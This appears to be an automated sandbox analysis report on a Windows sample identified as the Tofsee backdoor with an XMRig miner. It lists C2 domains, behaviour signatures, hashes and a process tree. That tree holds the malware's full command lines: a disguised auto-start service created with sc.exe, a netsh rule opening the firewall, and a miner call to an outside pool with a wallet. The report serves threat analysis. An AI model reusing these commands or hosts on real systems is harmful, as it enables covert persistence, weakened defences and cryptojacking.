Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/12/2022, 19:37

General

  • Target
    file.exe
  • Size 230KB
  • Sample221226-ybvvdagh21
  • SHA256 4cfb19df7d72e6c76385bac2e9aa0bee1490bfa25f5ada420079ebf207824183
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2352
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fsmusuyc\
      2⤵
        PID:2128
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\htcqpluz.exe" C:\Windows\SysWOW64\fsmusuyc\
        2⤵
          PID:2272
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fsmusuyc binPath= "C:\Windows\SysWOW64\fsmusuyc\htcqpluz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fsmusuyc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fsmusuyc
          2⤵
          • Launches sc.exe
          PID:4360
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2352 -s 1036
          2⤵
          • Program crash
          PID:720
      • C:\Windows\SysWOW64\fsmusuyc\htcqpluz.exe
        C:\Windows\SysWOW64\fsmusuyc\htcqpluz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2228
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4084 -s 528
          2⤵
          • Program crash
          PID:4300
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2352 -ip 2352
        1⤵
          PID:4264
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4084 -ip 4084
          1⤵
            PID:2224

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                htcqpluz.exe

                • Path C:\Users\Admin\AppData\Local\Temp\htcqpluz.exe
                • Size 13.2MB
                • SHA256 76ecba73451587ea79c5c3753e9c7b30ad1c1ef6abfdb81961a9f808e2433a12
                • MD5 SHA1 SHA512 SSDEEP

                htcqpluz.exe

                • Path C:\Windows\SysWOW64\fsmusuyc\htcqpluz.exe
                • Size 13.2MB
                • SHA256 76ecba73451587ea79c5c3753e9c7b30ad1c1ef6abfdb81961a9f808e2433a12
                • MD5 SHA1 SHA512 SSDEEP

                memory/2228-159-0x00000000019F0000-0x0000000001A00000-memory.dmp

                memory/2228-156-0x00000000019E0000-0x00000000019E6000-memory.dmp

                memory/2228-153-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/2228-152-0x00000000006A0000-0x00000000006B5000-memory.dmp

                memory/2228-151-0x00000000006A0000-0x00000000006B5000-memory.dmp

                memory/2228-168-0x00000000027E0000-0x00000000027E7000-memory.dmp

                memory/2228-165-0x0000000007240000-0x000000000764B000-memory.dmp

                memory/2228-162-0x00000000027D0000-0x00000000027D5000-memory.dmp

                memory/2228-146-0x00000000006A0000-0x00000000006B5000-memory.dmp

                memory/2352-143-0x00000000005BD000-0x00000000005CE000-memory.dmp

                memory/2352-144-0x0000000000400000-0x000000000045E000-memory.dmp

                memory/2352-133-0x0000000000520000-0x0000000000533000-memory.dmp

                memory/2352-134-0x0000000000400000-0x000000000045E000-memory.dmp

                memory/2352-132-0x00000000005BD000-0x00000000005CE000-memory.dmp

                memory/2900-172-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                memory/2900-177-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                memory/4084-150-0x0000000000400000-0x000000000045E000-memory.dmp

                memory/4084-149-0x00000000007F9000-0x0000000000809000-memory.dmp